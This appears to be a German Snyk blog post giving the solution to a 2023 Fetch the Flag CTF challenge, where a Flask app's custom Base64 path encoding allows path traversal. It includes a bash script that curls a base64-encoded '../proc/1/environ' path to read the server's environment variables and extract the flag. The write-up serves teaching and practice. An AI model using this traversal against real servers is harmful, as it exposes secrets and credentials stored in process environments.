Skip to main content

Snyk Fetch the Flag CTF 2023: Write-up zu Protect The Environment

Artikel von
snyk ctf protect the environment

30. November 2023

0 Min. Lesezeit

Danke, dass Sie mit uns Fetch gespielt haben! Glückwunsch an die Tausenden von Spielerinnen und Spielern, die bei unserem Fetch the Flag CTF dabei waren. Wenn Sie bei Snyks Fetch the Flag 2023 dabei waren und nach der Lösung für die Challenge Protect The Environment suchen, sind Sie hier richtig. Gehen wir die Lösung gemeinsam durch!

Bei der Challenge wird für Pfade eine eigens entwickelte Base64-Kodierung verwendet. Das scheint zunächst in Ordnung zu sein, verhindert aber, dass Flask statische Dateien automatisch mit chroot einschränkt. Es handelt sich um einen Datei-Inclusion-Angriff. Anstatt jedoch eine Datei einzubinden, binden Sie die Datei /proc/<pid>/environ ein. Der Nutzerin oder dem Nutzer wird die PID nicht mitgeteilt, und es gibt auch keine Möglichkeit, sie herauszufinden. Das ist jedoch kein Problem, denn PID 1 funktioniert (oder Sie können die PIDs einfach durchprobieren und erhalten einen Treffer bei PID 8, denn diese PID verwenden die Gunicorn-Worker).

#!/bin/bash

if [[ -z "$1" ]]
then
    echo "IP address or hostname not specified"
    exit 1
fi

if [[ -z "$2" ]]
then
    echo "Port not specified"
    exit 1
fi

curl -s http://$1:$2/`echo "assets/../../../../../../proc/1/environ" | base64` -o - | strings | grep -oE "flag{.*?}" --color=none

Danke, dass Sie Fetch möglich gemacht haben!

Ein riesiges Dankeschön an alle Teams bei Fetch the Flag 2023! Es war toll, Sie alle dort zu sehen. Sie finden mich jederzeit auf YouTube.

Hier finden Sie die Write-ups zu den anderen Challenges von 2023. Viel Spaß beim Stöbern!

Gepostet in:

Weiterlesen

Blog

Fetch the Flag CTF 2026: Offizielle Challenge-Lösungen & Community-Highlights

Entdecke offizielle Beiträge und Community-Highlights vom Fetch the Flag CTF 2026 mit über 20 Herausforderungen in den Bereichen Web-Sicherheit, KI und Kryptografie. Lerne von den Expert:innen und tauche in die technischen Details der anspruchsvollsten Binär-Rätsel und Web-Exploits dieses Jahres ein.

Blog

4 Gründe, warum CTFs zu den besten Möglichkeiten gehören, sich in der Cybersicherheit weiterzuentwickeln

Capture-the-Flag-Wettbewerbe (CTF) sind eine hervorragende Möglichkeit, Ihre Karriere in der Cybersicherheit voranzubringen. Sie machen Sie mit realen Schwachstellen und vielfältigen technischen Bereichen vertraut. Erfahren Sie, warum CTFs zu den besten Wegen gehören, Ihr Fachwissen auszubauen und Ihr berufliches Netzwerk zu erweitern.

Compliance FEATURE cropped
Blog

Der ultimative Guide zu kommenden CTFs: In 6 Monaten vom Anfänger zum Elite-Hacker (Oktober 2025 bis April 2026)

Meistern Sie CTFs in 6 Monaten – vom Anfänger bis zum Elite-Hacker! Entdecken Sie die wichtigsten Wettbewerbe, erfahren Sie mehr über Schwierigkeitsgrade und planen Sie Ihren Weg zum Erfolg von Oktober 2025 bis April 2026.